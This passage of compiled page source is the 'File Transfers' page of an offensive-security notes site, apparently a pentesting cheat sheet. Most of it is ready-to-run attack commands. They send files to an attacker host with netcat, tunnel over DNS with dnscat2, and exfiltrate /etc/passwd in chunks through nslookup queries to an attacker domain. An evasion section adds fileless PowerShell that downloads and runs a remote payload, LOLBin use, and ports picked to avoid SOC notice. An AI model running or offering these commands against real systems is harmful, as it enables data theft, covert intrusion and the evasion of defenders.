(`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`attacker`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`: `}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`nc`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:` -`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`lvnp`}),_jsx(_components.span,{style:{color:`#F78C6C`,\"--shiki-dark\":`#F78C6C`},children:` 443`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:` >`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:` received_file`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`.\\\\nc.`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`exe`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:` \u003c`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`attacker_ip`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#F78C6C`,\"--shiki-dark\":`#F78C6C`},children:` 443`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:` \u003c`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:` C`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`:\\\\`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`Windows`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`\\\\`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`Temp`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`\\\\file.exe`})]}),`\n`]})})}),`\n`,_jsx(Heading,{level:`2`,id:`base64-transfer-when-http-is-blocked`,children:`Base64 Transfer (When HTTP is Blocked)`}),`\n`,_jsx(_components.p,{children:`When no HTTP or SMB path exists, encode the file as base64 and paste it directly through the shell session. This works over any interactive shell, including RDP clipboard and reverse shells.`}),`\n`,_jsx(CodeBlock,{filename:``,wrap:`true`,numberOfLines:`9`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes night-owl night-owl`,style:{backgroundColor:`#011627`,\"--shiki-dark-bg\":`#011627`,color:`#d6deeb`,\"--shiki-dark\":`#d6deeb`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`9`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Linux: encode a file to base64 (no line wrapping so you can paste in one shot)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`base64`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -w`}),_jsx(_components.span,{style:{color:`#F78C6C`,\"--shiki-dark\":`#F78C6C`},children:` 0`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` /path/to/file`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` \u0026\u0026 `}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#C5E478`,\"--shiki-dark-font-style\":`italic`},children:`echo`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Linux: decode back to file`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#C5E478`,\"--shiki-dark-font-style\":`italic`},children:`echo`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:` '`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`\u003cbase64_string>`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:`'`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:` |`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:` base64`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -d`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:` >`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` /tmp/file`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Verify integrity after transfer`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`md5sum`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` /path/to/original/file`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`md5sum`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` /tmp/file`})]}),`\n`]})})}),`\n`,_jsx(CodeBlock,{filename:``,wrap:`true`,numberOfLines:`8`,language:`powershell`,children:_jsx(_components.pre,{className:`shiki shiki-themes night-owl night-owl`,style:{backgroundColor:`#011627`,\"--shiki-dark-bg\":`#011627`,color:`#d6deeb`,\"--shiki-dark\":`#d6deeb`},language:`powershell`,children:_jsxs(_components.code,{language:`powershell`,numberOfLines:`8`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Windows: encode a file to base64`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`[`}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:`Convert`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`]::ToBase64String([`}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:`IO.File`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`]::ReadAllBytes(`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:`\"`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`C:\\\\Windows\\\\Temp\\\\file.exe`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:`\"`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`))`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Windows: decode base64 back to binary file`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`[`}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:`IO.File`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`]::WriteAllBytes(`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:`\"`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`C:\\\\Windows\\\\Temp\\\\file.exe`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:`\"`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`,`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` [`}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:`Convert`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`]::FromBase64String(`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:`\"`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`\u003cbase64_string>`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:`\"`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`))`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Verify integrity after transfer`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#7FDBCAFF`,\"--shiki-dark\":`#7FDBCAFF`},children:`Get-FileHash`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` C:\\\\Windows\\\\Temp\\\\`}),_jsx(_components.span,{style:{color:`#7FDBCAFF`,\"--shiki-dark\":`#7FDBCAFF`},children:`file.exe`}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:` -`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`Algorithm MD5`})]}),`\n`]})})}),`\n`,_jsx(Heading,{level:`2`,id:`file-transfer-over-dns-exfil`,children:`File Transfer over DNS (Exfil)`}),`\n`,_jsx(_components.p,{children:`Use DNS only when every other channel is blocked. It is slow and generates unusual query volume, so use it as a last resort.`}),`\n`,_jsx(CodeBlock,{filename:``,wrap:`true`,numberOfLines:`9`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes night-owl night-owl`,style:{backgroundColor:`#011627`,\"--shiki-dark-bg\":`#011627`,color:`#d6deeb`,\"--shiki-dark\":`#d6deeb`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`9`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# dnscat2: full bidirectional tunnel over DNS (run server on attacker first)`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Attacker:`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`ruby`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` dnscat2.rb`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` --dns`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:` \"`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`domain=\u003cyour_domain>,host=0.0.0.0`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:`\"`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` --no-cache`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Target (Linux):`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`./dnscat2`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:` \u003c`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`your_domai`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`n`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Target (Windows):`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#C5E478`,\"--shiki-dark-font-style\":`italic`},children:`.`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`\\\\`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`dnscat2.ps1`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -Domain`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:` \u003c`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`your_domai`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`n`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`})]}),`\n`]})})}),`\n`,_jsx(CodeBlock,{filename:``,wrap:`true`,numberOfLines:`6`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes night-owl night-owl`,style:{backgroundColor:`#011627`,\"--shiki-dark-bg\":`#011627`,color:`#d6deeb`,\"--shiki-dark\":`#d6deeb`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`6`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Manual DNS exfil: chunk a file and send each chunk as a subdomain query (slow, noisy)`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Each nslookup sends 16 bytes as a hex subdomain to your controlled domain`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#C792EA`,\"--shiki-dark-font-style\":`italic`},children:`for`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:` chunk`}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#C792EA`,\"--shiki-dark-font-style\":`italic`},children:` in`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` $(`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`xxd`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -p`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -c`}),_jsx(_components.span,{style:{color:`#F78C6C`,\"--shiki-dark\":`#F78C6C`},children:` 16`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` /etc/passwd`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`); `}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#C792EA`,\"--shiki-dark-font-style\":`italic`},children:`do`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:` nslookup`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:` \"`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`$chunk`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`.\u003cattacker_domain>`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:`\"`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:` >`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` /dev/null`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:` 2>\u00261`})]}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#C792EA`,\"--shiki-dark-font-style\":`italic`},children:`done`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Capture queries on attacker with: tcpdump -i eth0 udp port 53`})}),`\n`]})})}),`\n`,_jsx(Heading,{level:`2`,id:`evading-detection`,children:`Evading Detection`}),`\n`,_jsx(_components.p,{children:`Simple steps that make file transfers blend in or avoid leaving artifacts that AV and EDR flag.`}),`\n`,_jsx(CodeBlock,{filename:``,wrap:`true`,numberOfLines:`18`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes night-owl night-owl`,style:{backgroundColor:`#011627`,\"--shiki-dark-bg\":`#011627`,color:`#d6deeb`,\"--shiki-dark\":`#d6deeb`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`18`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Rename extension before transfer; rename on target after download`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Attacker: mv shell.exe shell.txt`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Target: mv shell.txt shell.exe (or: copy shell.txt shell.exe)`})}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Serve over 443 to blend with HTTPS traffic (even plain HTTP on 443 helps bypass port-level filters)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`python3`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -m`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` http.server`}),_jsx(_components.span,{style:{color:`#F78C6C`,\"--shiki-dark\":`#F78C6C`},children:` 443`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Serve with a real HTTPS cert (avoids DPI alerts on plaintext)`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Use the Python HTTPS snippet from the 'Hosting Files' section above`})}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Fileless execution: never writes to disk, avoids file-based AV scanning`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`IEX`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` (New-Object `}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`Net.WebClient`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`).DownloadString(`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`'http://\u003cip>/payload.ps1'`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`)`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Use LOLBins (certutil, bitsadmin, mshta, regsvr32) instead of dropping known tools`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# These are signed Microsoft binaries and less likely to trigger hash-based detections`})}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Transfer on uncommon but plausible ports: 443, 8443, 8080, 53`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Avoid 4444, 1234 and other default reverse shell ports that SOC teams watch`})}),`\n`]})})})]})}function MDXContent(props={}){const{wrapper:MDXLayout}={..._provideComponents(),...props.components};return MDXLayout?_jsx(MDXLayout,{...props,children:_jsx(_createMdxContent,{...props})}):_createMdxContent(props)}return{default:MDXContent};function _missingMdxReference(id,component){throw new Error(`Expected `+(component?`component`:`object`)+\" `\"+id+\"` to be defined: you likely forgot to import, pass, or provide it.\")}","frontmatter":{},"scope":{"codeStyling":{"theme":{"light":"night-owl","dark":"night-owl"}},"config":{},"pageMetadata":{"title":"File Transfers","description":null,"href":"/file-transfers"}}},"mdxSourceWithNoJs":null},"mdxExtracts":{"tableOfContents":[{"title":"Hosting Files (Attacker Side)","slug":"hosting-files-attacker-side","depth":2,"children":[]},{"title":"Linux: Downloading Files","slug":"linux-downloading-files","depth":2,"children":[]},{"title":"FTP","slug":"ftp","depth":2,"children":[]},{"title":"Linux: Uploading Files","slug":"linux-uploading-files","depth":2,"children":[]},{"title":"Windows: Downloading Files","slug":"windows-downloading-files","depth":2,"children":[]},{"title":"Windows: Uploading Files","slug":"windows-uploading-files","depth":2,"children":[]},{"title":"Base64 Transfer (When HTTP is Blocked)","slug":"base64-transfer-when-http-is-blocked","depth":2,"children":[]},{"title":"File Transfer over DNS (Exfil)","slug":"file-transfer-over-dns-exfil","depth":2,"children":[]},{"title":"Evading Detection","slug":"evading-detection","depth":2,"children":[]}],"codeExamples":{}},"jsLinks":[],"subdomain":"grimoire","siteName":"Grimoire","title":"File Transfers - Grimoire","navMaps":{"firstHrefInVersion":{},"firstHrefInLanguage":{}},"lastModified":"2026-09-18T06:38:26.113Z","originalFileLocation":"file-transfers.mdx"},"headHtml":"\u003cscript data-mint-head>(function(){var d=document.documentElement,p=null;if(!p){try{p=localStorage.getItem(\"isDarkMode\")}catch(e){}if(p==='true')p='dark';else if(p==='false')p='light';if(p!=='light'\u0026\u0026p!=='dark'\u0026\u0026p!=='system')p=\"dark\"}var r=p==='system'?(matchMedia(\"(prefers-color-scheme: dark)\").matches?'dark':'light'):p;d.classList.remove(r==='dark'?'light':'dark');d.classList.add(r);d.setAttribute(\"data-theme-preference\",p)})();\u003c/script>\u003cmeta data-mint-head name=\"application-name\" content=\"Grimoire\">\u003cmeta data-mint-head name=\"generator\" content=\"Mintlify\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"192x192\" href=\"/mintlify-assets/_mintlify/favicons/grimoire/XGN-0UjePkg-Ehxs/_generated/favicon/android-chrome-192x192.png\" media=\"(prefers-color-scheme: light)\">\u003clink data-mint-head rel=\"apple-touch-icon\" type=\"image/png\" sizes=\"180x180\" href=\"/mintlify-assets/_mintlify/favicons/grimoire/XGN-0UjePkg-Ehxs/_generated/favicon/apple-touch-icon.png\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"16x16\" href=\"/mintlify-assets/_mintlify/favicons/grimoire/XGN-0UjePkg-Ehxs/_generated/favicon/favicon-16x16.png\" media=\"(prefers-color-scheme: light)\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"32x32\" href=\"/mintlify-assets/_mintlify/favicons/grimoire/XGN-0UjePkg-Ehxs/_generated/favicon/favicon-32x32.png\" media=\"(prefers-color-scheme: light)\">\u003clink data-mint-head rel=\"shortcut icon\" type=\"image/x-icon\" href=\"/mintlify-assets/_mintlify/favicons/grimoire/XGN-0UjePkg-Ehxs/_generated/favicon/favicon.ico\" media=\"(prefers-color-scheme: light)\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"192x192\" href=\"/mintlify-assets/_mintlify/favicons/grimoire/XGN-0UjePkg-Ehxs/_generated/favicon-dark/android-chrome-192x192.png\" media=\"(prefers-color-scheme: dark)\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"16x16\" href=\"/mintlify-assets/_mintlify/favicons/grimoire/XGN-0UjePkg-Ehxs/_generated/favicon-dark/favicon-16x16.png\" media=\"(prefers-color-scheme: dark)\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"32x32\" href=\"/mintlify-assets/_mintlify/favicons/grimoire/XGN-0UjePkg-Ehxs/_generated/favicon-dark/favicon-32x32.png\" media=\"(prefers-color-scheme: dark)\">\u003clink data-mint-head rel=\"shortcut icon\" type=\"image/x-icon\" href=\"/mintlify-assets/_mintlify/favicons/grimoire/XGN-0UjePkg-Ehxs/_generated/favicon-dark/favicon.ico\" media=\"(prefers-color-scheme: dark)\">\u003cmeta data-mint-head property=\"og:title\" content=\"File Transfers - Grimoire\">\u003cmeta data-mint-head property=\"og:site_name\" content=\"Grimoire\">\u003cmeta data-mint-head property=\"og:url\" content=\"https://notes.chaelsoo.me/file-transfers\">\u003cmeta data-mint-head 